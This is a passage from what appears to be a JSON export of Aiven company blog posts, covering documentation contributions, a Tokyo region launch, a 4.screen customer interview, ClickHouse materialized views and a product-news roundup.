where writers and developers both feel ownership of documentation, and work together to make it as good as possible. \n\n### Our chosen technologies\n\n[Developer.aiven.io](https://developer.aiven.io) is open source, just like most of the other things at Aiven. The platform uses open source tools, and the content itself is [Creative Commons](https://creativecommons.org/) licensed. We use established workflows and review processes, alongside GitHub for collaboration (and full audit history of all changes). GitHub actions take care of running the automated testing and deployments, including deploying previews for each in-progress pull request.\n\nThe tech stack consists of [Sphinx](https://www.sphinx-doc.org/) plus some excellent extensions, [Vale](https://vale.sh/) for linting the prose, and [MermaidJS](https://mermaid-js.github.io/mermaid/#/) for diagrams. We package all this up into a static site to make sure that your docs always load very, very fast.\n\n### Contributing to the project\n\nHere is a little tour of the [project](https://github.com/aiven/devportal) to help you get your bearings:\n- The `docs/` folder has all the articles in it\n    - subfolders match the URL structure\n- The `CONTRIBUTING` file has article templates and a style guide\n    - some reStructuredText tips can also be found in the `README`\n- The `REVIEWING` file covers guidelines for reviewers\n\nBefore you start work on something new, check the [issue list](https://github.com/aiven/devportal/issues) and assign the issue to yourself or comment on it if there's already an issue there.\n\n#### Using your favorite IDE \n\nChances are that you already have a developer environment on your machine. Use your terminal or command prompt to clone [the repository](https://github.com/aiven/devportal), create a new branch, make your changes, and open a pull request.\n\nFollow the instructions in the `README` file to install the necessary dependencies, and make sure to build and test your changes locally. \n\nUsing Visual Studio Code? My colleague Lorna Mitchell shared her [VSCode setup on her blog](https://lornajane.medium.com/vscode-setup-for-technical-writers-83867870ed73). \n\n#### Using GitHub Desktop\n\nIf you're looking for a GUI (Graphical User Interface) tool, GitHub Desktop is a great option. It's entirely open source too - so you know that we like it! \n\n[Download GitHub Desktop](https://desktop.github.com/) if you haven't already, and log in with your GitHub account. Then clone [the repository](https://github.com/aiven/devportal), or if you already cloned it, select `File \u003e Add local repository` and specify the local path. Create a new branch, make your changes using the editor of your choosing, and commit.\n\n\u003c!-- gitbub image\n![Add local repository](github-desktop.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code add local repository using github desktop](//cdn.sanity.io/images/sczeoy4w/production/7dd0389c7cfe0e838f077bb4d4107a818a825825-1429x982.png)\n\n#### Using GitHub Codespaces\n\nI’m excited that we have enabled Codespaces for this project - hopefully the first of many under the Aiven organization on GitHub. To use Codespaces, select the green \"\u003c\u003e Code\" button on the repository.\n\n\u003c!-- gitbub image\n![Select the Codespaces button](codespaces-button.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code select the codespaces button](//cdn.sanity.io/images/sczeoy4w/production/045313f6dd77a8f64cc02aba374de017972511a1-1812x1255.png)\n\nYou can either create a codespace on the main branch, or collaborate on a feature branch or PR. \n\n\u003c!-- gitbub image\n![Collab on a feature branch](codespaces-select-branch.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code collaborate on feature branch](//cdn.sanity.io/images/sczeoy4w/production/fd48e9912ba4d262931f74cb5fbabadc03f20089-1812x1227.png)\n\nSo I might pick a pull request from a colleague, check out the changes they made, and build the site.\n\n\u003c!-- gitbub image\n![Check out Pull Requests with Codespaces](codespaces-branch.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code check out pull request](//cdn.sanity.io/images/sczeoy4w/production/d24916db4f0cf7de38f19f2815526b2ec59e7712-1811x826.png)\n\nAnd it’s fast too! \n\n### Get involved\n\nWe are proud of our documentation project, but that doesn't mean that we're not actively working on it (it's public, you can see that we are!), or that it can't be improved. If you spot something that you think could be better, go ahead and let us know by opening an issue. Even better, make that improvement yourself. One of us will work with you to review the change and then you'll be published in no time at all, earning both gratitude and bragging rights.\n\nHere's a quick run-down of some useful links:\n * our documentation: \u003chttps://docs.aiven.io\u003e\n * the GitHub project: \u003chttps://github.com/aiven/devportal\u003e\n * a handy guide to [automating your pull requests using GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions \"How to automagically open pull requests with GitHub Actions\")\n * and just in case you're wondering what this Aiven thing is anyway, or you want to try things out so you can document them, [sign up for our free trial](https://console.aiven.io/signup)\n\n--\n\nIf you have any feedback or questions, say hi to us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-16T00:00:00.000Z","seo":{"metaDescription":"Aiven creates its developer documentation as an open source project, so you too can help! Read on to find out how we use docs-as-code to make this happen.","metaImage":{"alt":"","asset":{"_ref":"image-e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844-png","_type":"reference"}},"metaTitle":"Contributing to Aiven's developer documentation"},"slug":{"_type":"slug","current":"/blog/contribute-to-aiven-docs"},"subtitle":"Aiven creates its developer documentation as an open source project, so you too can help! Read on to find out how we use docs-as-code to make this happen.","title":"Contributing to Aiven's developer documentation"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"OZqGTyyq7GXglMzqItc0j","_rev":"cEPH2uRN58AU2lp9QO7ksr","_type":"post","_updatedAt":"2022-09-08T16:18:32Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We're happy to announce that we've recently added the new Google Cloud\nNortheast Asia (Tokyo) region to Aiven.  All Aiven services are now\navailable in the new region which is our fourth supported cloud in Japan and\n12th cloud in Asia.\n\nWe've also been busy enhancing our Kafka service with new topic management\nAPIs and user inteface which we hope to roll out during the next couple of\nweeks.  On the PostgreSQL side we've just finished the development of our\nconnection pooling system and PGBouncer -based connection pooling will be\navailable in Aiven after our next service update.  The use cases and\nbenefits of these new features will be covered in upcoming blog posts.\n\nThe rest of the week the Aiven founding team is busy meeting new and old\ncustomers and partners at the\n[Slush startup conference](https://www.slush.org/) here in Helsinki, Finland.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-11-30T11:38:00.000Z","seo":{"metaDescription":"Aiven is now active in Google Tokyo and we’re planning some feature additions to our Kafka and PostgreSQL services. Find out more.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven in Google Tokyo \u0026 other updates"},"slug":{"_type":"slug","current":"/blog/aiven-in-google-tokyo-other-updates"},"subtitle":"Aiven is now active in Google Tokyo and we’re planning some feature additions to our Kafka and PostgreSQL services. Find out more.","title":"Aiven in Google Tokyo \u0026 other updates"}
{"__i18n_lang":"en","_createdAt":"2023-04-21T12:43:53Z","_id":"a206e792-7b27-449f-8716-f1fb92cb70e4","_rev":"T130WEs22RB6SoEkOBlhzK","_type":"post","_updatedAt":"2024-11-19T09:26:42Z","authors":[{"_key":"1eec637decf3","_ref":"d7d54e25-0f96-4e68-88fd-bb682d5c2d67","_type":"reference"}],"body":"## Introduction\n\n[4.screen](https://www.4screen.com/) is a fast growing startup from Munich, Germany. They’re building the world’s first driver interaction platform, powered by Aiven for Apache Kafka®. \n\n4.screen is a part of Aiven’s Cluster program, which gives fast-growing startups access to up to $100,000 of credits for Aiven services. For more information on how to apply, see [the Cluster program homepage](https://aiven.io/cluster)! \n\nWe sat down with Paul-Rogalinski Pinter, Lead Software Engineer at 4.screen, to understand why using managed services and building with open source technologies makes sense for a fast growing startup. \n\n## First of all, tell us about 4.screen and the problem you are solving\n\nLet me start by sharing a short story about 4.screen’s name origin. We identified the in-car screen as being the 4th generation of screens, after the TV (#1), the computer screen (#2) and the mobile phone / tablet screen (#3). As time progresses and technology evolves, the interior experience in your car is playing a more important role. This was our premise for starting to explore what we could do as a content provider for in-car user experience, and we naturally identified marketing as a huge opportunity.\n\nSo at 4.screen we are building a platform where businesses can connect, interact and engage with drivers. Drivers benefit from a wide variety of useful services such as relevant in-car recommendations, better in-car content and access to exclusive offers.\n\nWe launched in Germany in Q3 2022 and are now live in the major European countries with several million vehicles accessible through our API - a US launch will follow later this year.\n\n## Why did you choose to use managed data services, rather than manage your infrastructure in house?\t\t\t\t\t\n\n\u003e *Our business is not managing infrastructure, our business is building solutions on top of that.*\n\nIn our architecture, we like to reuse some components. One of these components that made us seriously consider partnering with Aiven is Kafka. Sure, hosting and managing Kafka in-house might make sense for massive workloads and data volumes. But when you're trying to scale and iterate quickly, it's all about finding ready-made solutions that fit your budget and current stage of growth.\n\nWith Aiven, we found a great match. They provide a comprehensive and reliable Kafka hosting and management solution that meets our needs. It allows us to focus on what we do best - building our product and delivering value to our customers - without getting bogged down by the complexities of managing Kafka ourselves.\n\n## How did you land on using Aiven, specifically?\n\nAll of our infrastructure was hosted on Azure. We explored options for service-to-service asynchronous communication and considered alternatives like hosting our own Kafka or using Confluent. Since we were already using Azure, we focused on external companies to manage Kafka setups. \n\nUltimately, it came down to choosing between Confluent and Aiven.  Our understanding is that Confluent might be targeting a slightly more mature audience, not startups like us. With this in mind, Aiven looked like the perfect match - the right provider for the right growth stage of our company. We see eye to eye on this. \n\nBesides, one huge technical requirement on our side was to run our infrastructure as code, which is possible with Aiven. \n\n## What use cases do you have for Aiven?\n\nWe utilize Kafka as a backbone for asynchronous communication between microservices and for processing transactions from vehicles. User interactions are tracked as transactions and stored in Kafka topics for later processing, such as billing and analytics, which require quick processing of large volumes of data. We also use Aiven for Caching for managing hot data, such as application state for tracking budgets during campaigns. Redis is used for aggregating data quickly when scaling horizontally to manage campaign budgets and make throttling decisions.\n\n## Why do you think other startups should use managed services and specifically Aiven?\n\nAt our core, we value open source standards, and that's why we've built our SaaS solutions on the shoulders of giants like Kafka®, Redis®, PostgreSQL®, and more. If you're a startup focused on building solutions rather than managing your own infrastructure, finding a reliable partner to handle these services is crucial. That's where Aiven comes in.\n\nOne of the key advantages we see in Aiven is their seamless integration with all major cloud providers. It's not about getting locked into a single vendor or cloud provider, but bringing your own infrastructure as a company and letting Aiven provide managed services on top of it. It's a win-win situation that gives you the flexibility and freedom to choose the best cloud environment for your business.\n\nAnd let's not forget about the importance of infrastructure as code. It's not just important to us, but to countless other companies building on open source software. With Aiven, you can manage your infrastructure as code, ensuring a streamlined and efficient workflow that aligns with modern software development practices.\n\nSo, if you're looking for a partner that values open source standards, offers seamless integration with major cloud providers, and understands the significance of infrastructure as code, then Aiven is the ideal choice. \n\n## Why is using Open Source Software important to you?\n\nThere are two key considerations to keep in mind. Firstly, avoiding vendor lock-in may be a priority for some, and prioritizing open standards over open source software can be important.\nSecondly, open source software often defines or implements open standards, which can provide flexibility in switching technologies as long as they are built on the same protocols.\nOpen source software tends to be more agile, allowing for faster issue resolution and the ability to contribute to the community, in contrast to monolithic vendors offering one-size-fits-all solutions.\n\n## How has being part of the Aiven Cluster startup program specifically benefited you?\n\nThe credit offering is really helpful to understand what building pieces we can use, and play with them before we build them into our final product. It gives you room to explore different technologies without committing to any plans and buying them right away.\n\n## Further reading \n\n* Learn how to [Get started with Aiven for Apache Kafka®](https://aiven.io/docs/products/kafka) today \n* Use Aiven’s [pricing calculator](https://aiven.io/pricing?product=kafka) to see which plan is right for you\n* Apply for the [Cluster program](https://aiven.io/cluster) if you’re a growing startup\n\n\n\n\n\n\n\n\n\n","categories":[{"_key":"718eb443c7c1","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"363dda27b268","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"Cluster program interview: 4.screen\" against a blue background, with the AIven logo in the corner","asset":{"_ref":"image-f83ce939cf7a0497928073195ff76568772c3683-1567x844-png","_type":"reference"}},"publishedAt":"2023-05-04T15:09:00.000Z","related":[],"seo":{"_type":"metaData","metaDescription":"Find out how 4.Screen, a fast growing startup from Munich, is building the world’s first driver interaction platform, powered by Aiven for Apache Kafka®.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f83ce939cf7a0497928073195ff76568772c3683-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's Cluster Startup Program | Introducing 4.Screen"},"slug":{"_type":"slug","current":"/blog/customer-interview-4screen"},"subtitle":"We want to highlight the startups participating in the Cluster Startup Program and building on top of Aiven services. Today, we’re excited to introduce 4.Screen. ","title":"Cluster Interview: Serving relevant recommendations on the go with Aiven for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2024-01-25T16:28:04Z","_id":"a6e96484-2c71-4574-9297-d68a69f822d7","_rev":"VeNKqGNmt13PzvGhqsS1Fg","_type":"post","_updatedAt":"2024-01-29T15:38:23Z","authors":[{"_key":"207905e32b23","_ref":"20be6b57-3d41-4f3b-a674-41ee77b98d4f","_type":"reference"}],"body":"Businesses nowadays strive to make data-driven decisions to ensure that they invest resources wisely as their solutions grow and evolve. The challenge does not lie in gathering the requisite information, but rather in effectively harnessing this abundance of data to discover insights into your products or your customers. This issue is compounded by optimization challenges, where insights come at too high a cost and too slow a pace to make a meaningful impact. \n\n[Materialized views](https://aiven.io/docs/products/clickhouse/howto/materialized-views) (MVs for short) help solve this very issue. Yet, despite their potential, they remain misunderstood or underutilized. By exploring the capabilities of materialized views in Aiven for ClickHouse®, this post will illustrate how we can optimize analytics, reduce costs, and achieve immediate and profound insights into customer behavior.\n\n## What are materialized views?\n\nA materialized view is a precomputed result set that stores the output of a query, allowing for faster retrieval of data. Unlike traditional views, which are essentially saved queries that don't store data themselves, materialized views store the query results. This precomputed nature sets materialized views apart from regular views and tables, which require actual computation and data retrieval with each use, making them more resource intensive. Materialized views don’t involve recomputing the results each time they are run, providing a low-cost and quick way to re-run even the most complex query.\n\nThe tradeoff for this performance is that materialized views need to be periodically refreshed as the data in the source tables change. This is done either via scheduled, trigger based, or incremental refreshes of the materialized views. By using materialized views strategically, database administrators and developers can strike a balance between query performance and data freshness.\n\n## ClickHouse® MVs harness the power of columnar data management\n\nIn ClickHouse®, materialized views operate based on the same foundational concept of precomputing and storing query results described above. However, their implementation and benefits are tailored to ClickHouse's specific capabilities: columnar storage ensures higher compression of data and faster query performance compared to traditional row-oriented databases, and the MergeTree family of engines makes the necessary refresh of the materialized views as efficient as possible, consuming the least amount of resources. Computation happens at ingest and merging time instead of query time, making materialized views in ClickHouse even faster than with other DBMS like PostgreSQL or Snowflake. \n\nMoreover, materialized views in ClickHouse allow for automated data transformation, since data from an insert can be automatically inserted into more than one table: ClickHouse’s powerful aggregations and joins capabilities can be stored as a materialized view to speed up queries that require resource-intensive calculations. \n\nSay you are a social media analytics platform that provides insights to businesses about their online presence and customer engagement. You are tracking hundreds of thousands of posts, comments and pieces of content for various customers. Your database grows to tens of millions of rows as you collect interactions, and it becomes increasingly harder to maintain fast query speed as you go. Queries to calculate this past week’s total likes or last thirty days average comments per users are getting slower. By setting up materialized views in ClickHouse based on the time of insertion, you can query only the latest inserted data and report only the most recent likes and comments aggregated across the different social media platforms instead of the whole database. This makes the data retrieval process fast and light on resources, even over large datasets and complex queries.\n\n## ClickHouse® MVs are essential to operate at scale\n\nMaterialized views in ClickHouse are not only efficient, they are also instrumental to ensuring your query performance doesn't degrade as your data grows. Picture yourself as an e-commerce organization with thousands of products for millions of users. The challenge to keeping on top of your sales analytics is making sure you are taking into account the latest sales you’re making, for the most accurate picture of your activities possible. It is also important to consider all the variables of a sale such as the product, the region of the buyer or the time it was made. Each of those tend to increase the number of columns in your tables, impacting query performance over time and leading your decision making to lag behind. \n\nIn order to follow the right course of action in real time you need the robustness of ClickHouse to aggregate all the sales data without worrying about the number of columns. Moreover, materialized views take this a step further by precomputing all the aggregations such as total revenue, average order value, and top-selling products for you to display those metrics in your business intelligence dashboard of choice. You will not have to worry again that the data is up-to-date or fully accurate and can repeat the queries as often as you want without putting additional strain on your database. Your marketing team will be able to identify your top selling articles, your customer success team can view regional influxes in demand as they happen, and you can adjust pricing and inventory as sales evolve.\n\n## Keeping data fresh with Aiven for Apache Kafka®\n\nAs mentioned previously, the biggest tradeoff when using materialized views is that their data needs to be regularly refreshed to prevent it from going stale. Take the e-commerce example above: using MVs to populate dashboards and provide insights are only as beneficial as they are accurate and up-to-date. So the question becomes, how often should that data be refreshed? This is where Aiven's holistic approach to data management truly shines.\n\nAiven for ClickHouse® allows you to get up and running quickly, with the ability to start a ClickHouse instance, populate your data, and create MVs in a few minutes. Because Aiven also provides streaming capabilities in Aiven for Apache Kafka®, and seamless integrations between services with just a few clicks in the Aiven console, you can get as close as possible to real time data analytics by integrating Kafka with ClickHouse.\n\nReturning to our e-commerce example, you can use Aiven for Apache Kafka to capture all the status updates on your products and shipments. ClickHouse has a Kafka table engine that can read from Kafka topics directly, and trigger an MV with each event to persist that data and update any associated queries. This ensures you always have fresh data and can make decisions with confidence that they're based on the latest developments available.\n\n## Get started with MVs in Aiven for Clickhouse®\n\nNow it's time to put what we've covered to use. The Aiven Docs provide tutorials for [loading sample data into ClickHouse](https://aiven.io/docs/products/clickhouse/howto/load-dataset), as well as [connecting Aiven for Apache Kafka with Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka). Once you're comfortable with the basics, be sure to check out this [end-to-end example](https://aiven.io/blog/build-a-real-time-analytics-pipeline) of creating a real-time analytics pipeline with Apache Kafka®, Apache Flink®, and ClickHouse®, all within the Aiven platform.\n","categories":[{"_key":"3ed8a776bc96","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Materialized views in Aiven for ClickHouse® optimize queries for speed and freshness","asset":{"_ref":"image-940774fb060e8de7d9787ac480a2763011872d5e-1200x628-png","_type":"reference"}},"publishedAt":"2024-01-25T17:00:20.129Z","related":[{"_key":"f404ec9874fc","_ref":"28fdc694-77e0-4f97-9cfa-a31210ccf841","_type":"reference"},{"_key":"8277471a343b","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Execute even complex queries quickly without the risk of stale results. See what makes Aiven for ClickHouse® ideal for analytics wherever your data lives.","metaTitle":"Using materialized views in Aiven for ClickHouse®"},"slug":{"_type":"slug","current":"/blog/materialized-views-in-aiven-for-clickhouse"},"subtitle":"Execute even complex queries quickly without the risk of stale results. See what makes Aiven for ClickHouse® ideal for analytics wherever your data lives.","title":"Materialized views in Aiven for ClickHouse® optimize queries for speed and freshness"}
{"__i18n_lang":"en","_createdAt":"2024-03-15T13:51:31Z","_id":"a7234f0d-b2b9-4bbe-acbe-2ca4bbef49d9","_rev":"umyIBHGdYV5etBYdmb2Xmw","_type":"post","_updatedAt":"2024-04-09T14:08:29Z","authors":[{"_key":"54c2dced2c60","_ref":"b42de39a-603a-4cdc-8cb4-3a569caf620c","_type":"reference"}],"body":"The Aiven team strives to enhance our platform with new features to enable organizations to innovate rapidly and manage their growing data infrastructure efficiently. In case you missed some of our newest product news, we’ll take a glimpse here so you can discover our latest developments! In this blog, we’ll cover: \n* AI-powered query rewrite optimizations\n* Bring your own cloud (BYOC) automation for AWS\n* Cost efficiency and scalability with tiered storage\n* Aiven for Opensearch upgrades\n* Aiven for PostgreSQL 16 support\n\n## Aiven provides early availability of AI-powered data optimization capabilities with the acquisition of EverSQL\n\nAiven announced its [acquisition of EverSQL](https://aiven.io/blog/aiven-acquires-eversql) and the integration of EverSQL’s AI-powered engine into the Aiven Platform back in November. This provides new performance and cost optimization capabilities to our customers. With EverSQL in the Aiven Platform, customers benefit from automated, personalized, and actionable insights to help fine-tune their data architecture, such as AI-powered query rewrite optimizations and index recommendations. The Aiven AI database optimizer improves database performance, reduces hardware requirements, and helps reduce costs. Early feedback has been great with customers from BrandAlley and Fortes Tecnologia already seeing the benefits of EverSQL by Aiven: \n\n\u003e “EverSQL by Aiven has been an excellent tool for us. Previously we had numerous outages on our production website due to database issues. By implementing EverSQL by Aiven and their indexing optimizations we haven’t seen any outages in the last 6 months,” says Phil Brady, DevOps Engineer at BrandAlley. \n\n\"My client achieved a reduction of over 50% in their cloud costs while also doubling the efficiency of their databases (with some indicators showing a gain of up to 20x),\" Henrylle Maia, AWS Consultant at Fortes Tecnologia.\n\nIf you want to take EverSQL for a spin and see how you can optimize your database [contact](https://aiven.io/contact) the Aiven account team today!\n\n## Aiven delivers self-service Bring Your Own Cloud (BYOC) automation for AWS\n\nIn November, we unveiled our self-service Bring Your Own Cloud (BYOC) feature for AWS, marking a significant leap forward in cloud deployment flexibility and cost efficiency. BYOC gives AWS customers the ability to deploy Aiven services within their AWS accounts in the regions of their choice. This addresses the needs of AWS global customers by offering an improved solution for infrastructure governance and data sovereignty. AWS customers pay for Aiven data infrastructure by using their AWS discounts to save costs. Companies can optimize cost without compromising the quality or management of their infrastructure. If you want to learn more about how to optimize your cloud data infrastructure spend with Aiven’s BYOC model, check out [this blog](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc).\n\nThe self-service BYOC workflow on the Aiven console enables customers to quickly deploy Aiven data infrastructure services within their AWS accounts. This simplifies the deployment of Aiven's managed data services into these custom environments, ensuring customers benefit from our platform's hallmark features: developer-centric tools, round-the-clock monitoring and alerting, proactive maintenance, upgrades, and an unwavering 99.99% availability SLA. Importantly, this model also unlocks up to 35% in cost savings on Aiven services using customer AWS discounts. \n\n[Supermetrics](https://aiven.io/blog/multicloud-drifting-with-dups-and-supermetrics), a marketing data analytics company with a 750k user base and serving billions of queries, was an early user of Aiven’s BYOC deployment method. Supermetrics integrates with over 100 different platforms, whether it’s a spreadsheet, a data warehouse, or a BI tool. \n\n\u003e “Aiven’s built some amazing technology on top of open source databases to move them around in different clouds in different regions,” Dups Wijayawardhana, CTO at Supermetrics. \n\nBring Your Own Cloud (BYOC) is available on AWS, Google Cloud, and Microsoft Azure. Our self-service functionality has been enabled for AWS at present and more automations are coming for other major cloud vendors soon! \n\nThe BYOC automation on AWS can be easily enabled by [contacting](https://aiven.io/contact) the Aiven account team!\n\n## Unlocking Improved Cost Efficiency and Scalability with Tiered Storage for Aiven for Apache Kafka® and Aiven for Clickhouse®\n\nIn December, Aiven introduced early availability of [Tiered Storage for Apache Kafka®](https://aiven.io/blog/introducing-tiered-storage-for-aiven-for-apache-kafka) to address the challenges customers face when supporting large-scale data storage within data streaming systems. Aiven for Apache Kafka is one of our most popular technologies, and we are beyond thrilled to bring this new functionality to our platform! Tiered storage significantly enhances the performance, scalability, and cost structure of large-scale Kafka environments. Customers have reported a reduction in storage costs of up to 90%!  \n\nTiered Storage has a dual-tier storage setup where the local storage tier continues to be used for storing fresh, hot data on the Apache Kafka broker nodes, and the remote storage tier uses cloud object storage such as Amazon S3, Azure Blob Storage, or Google Cloud Storage for warm and cold data. This tiered storage setup saves money by reducing the size of the broker node and improving upgrade and migration performance by eliminating the need for large node-to-node data replication operations, while keeping a full, auditable log of all data within the Kafka environment.\n\nSome key benefits of tiered storage in Aiven for Apache Kafka include: \n* Limitless storage in Aiven for Apache Kafka\n* Greater elasticity for Aiven for Apache Kafka clusters\n* Optimized cloud infrastructure costs\n\n![Benefits of Tiered Storage in Aiven for Apache Kafka diagram with three boxes. Diagram is blue with orange outlined visuals](https://cdn.sanity.io/images/sczeoy4w/production/4a521c154180920af02478b26937bd67f14e6c16-1792x998.png?w=450)\n\nTiered Storage is also in early availability in [Aiven for ClickHouse®](https://aiven.io/clickhouse) and brings the same functionality to all your analytics workloads with the added benefit of ClickHouse’s compression combined with potentially infinite object storage capabilities. Use Tiered Storage as you develop and grow, for a fraction of the cost, choosing freely what remains on disk and is accessible faster, and what goes in object storage. \n\nIf you are interested in trying out tiered storage in either Aiven for Apache Kafka or Aiven for Clickhouse, you can [start a trial](https://aiven.io/how-to-get-started-with-aiven) or [get in touch](https://aiven.io/contact) with our team to enable the feature in your Aiven environment. Keep your eyes peeled as we bring tiered storage into general availability!\n\n## Aiven for OpenSearch® upgraded to version 2.11.1\n\nDecember saw the upgrade of [Aiven for OpenSearch®](https://aiven.io/blog/aiven-for-opensearch-updated-to-version-2111) to version 2.11.1 bringing new and exciting features to the service. With the latest version of OpenSearch, you can customize your searches by chaining together a series of modular processors to modify a query and its results with the general availability of [search pipelines](https://opensearch.org/docs/latest/search-plugins/search-pipelines/index/). Additional enhancements include integrated alerts and anomaly detection in OpenSearch Dashboards as well as side-by-side search query comparison. \n\nYou can try these new enhancements from the [Aiven Console](https://console.aiven.io/) by performing a maintenance upgrade on your OpenSearch environments. If you haven’t tried out Aiven for OpenSearch yet, you can start a [free trial](https://aiven.io/how-to-get-started-with-aiven) and get a first hand experience with the new functionality today. \n\n## Aiven for PostgreSQL® adds support for PostgreSQL 16 bringing enhanced performance\n\nIn January, [we introduced PostgreSQL 16 in Aiven for PostgreSQL®](https://aiven.io/blog/enhanced-performance-with-postgresql-16) bringing optimized performance and improved monitoring and security. You can benefit from enhanced workload management, more efficient and secure database maintenance, and an overall improved developer experience. Some of the key updates in the latest Postgres version include: \n* Improved performance with better query planning and optimized bulk loading\n* Enhanced replication for seamless data exchange between cluster nodes and improved high availability, scalability, and disaster recovery\n* Enriched developer experience with more [SQL/JSON](https://www.postgresql.org/docs/16/functions-json.html) syntax additions\n* Improved monitoring with the introduction of `pg_stat_io`\n* Strengthened security and access control with the addition of `require_auth` for precise client-server authentication\n\nMany organizations already leverage Aiven for PostgreSQL to ensure business critical applications run without interruptions. [Digitalparking AG](https://aiven.io/blog/digitalparking-leads-the-smart-parking-revolution-in-switzerland) in Switzerland has a popular Parkingpay app using Aiven for PostgreSQL to provide cashless, ticketless parking in over 750 locations in cities, shopping centers, hospitals and multi-story car parks across the country. \n\n\u003e “PostgreSQL is now run by Aiven experts. As a result, we’ve never lost any data, version upgrades are seamless and security patching that used to take a day is completed with the click of a button. The inhouse team can now focus on their core job — providing more value to our customers,” says Reto Schläpfer, CEO and CTO at Digitalparking AG. \n\nIf you use Aiven for PostgreSQL already, you can run an [in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) to migrate to the newest version. You can also easily test the upgrade first on a fork of the database to be upgraded. If you haven’t tried Aiven for PostgreSQL yet, you can sign up for a free trial [here](https://console.aiven.io/signup). \n\n## What’s cooking in the Aiven kitchen?\n\nWhat should you expect from Aiven in the coming months? A lot! Our teams work hard to bring many new capabilities to enhance developer productivity, and provide enterprise-grade scalability across all of our technologies so you can stream, store, and serve data with Aiven. Some notable features coming soon with Aiven include: \n\n* AI-powered optimizations with query and index recommendations powered by EverSQL\n* More BYOC automation across Google Cloud and Microsoft Azure\n* Enterprise security, resilience, and governance along with disk autoscaling \n* General availability of tiered storage in Aiven for Apache Kafka\n* KRaft-ready Kafka clusters in the Aiven platform\n* Custom connectors and streaming governance enhancements in Aiven for Apache Kafka\n* Simplified payment options\n\nBe sure to check [Aiven Ideas](https://ideas.aiven.io/), where you can directly influence the direction of Aiven's product development. Through our forum, you can interact with our product team, give feedback on existing features, post ideas for new features, and vote on the ideas of others. You can also see our public roadmap and get notified when the status of ideas changes, so you can see how they evolve into new features.\n\n## How to get started with Aiven?\n\nThis was only a glimpse of the new features brought to you by Aiven in the last six months. If you haven’t tried Aiven yet, sign up for a [free trial](https://console.aiven.io/signup) and get a first-hand experience of all the new functionality, or follow our [changelog](https://aiven.io/changelog) for the full list of updates.\n\nYou can also watch our webinar recording covering these exciting announcements: [What's New with Aiven: Q4 2023/Q1 2024](https://aiven.io/webinar/whats-new-with-aiven-q4-2023-q1-2024).\n\n::banner[WEBINAR: What’s new with Aiven Q4 2023/Q1 2024]{ctaText=\"Watch the recording\" ctaLink=\"https://aiven.io/webinar/whats-new-with-aiven-q4-2023-q1-2024\" background=\"\" theme=\"dark\"}\n","categories":[{"_key":"b22eacb3f8bf","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Orange image with Aiven crab logo in bottom left. Title is product news for end of 2023 and early 2024. White, Aiven dashboard image to the right with lines of profiles on dashboard.","asset":{"_ref":"image-44515a1d6031717fdd221ab5ad346f88b973b66b-1200x628-png","_type":"reference"}},"publishedAt":"2024-04-09T14:00:00.000Z","related":[{"_key":"8fc2035cd005","_ref":"825d9e73-30e9-482b-bb5d-ef0fc6dfbaf7","_type":"reference"},{"_key":"fbd4080456ed","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"4fad715f47ca","_ref":"744c0688-e6eb-4410-9d43-3802217b181f","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Optimize data infrastructure with the power of AI. Upgrade open source data services and reduce costs with self-service BYOC on AWS.","metaImage":{"_type":"mainImage","alt":"Aiven platform, open source, data platform, product 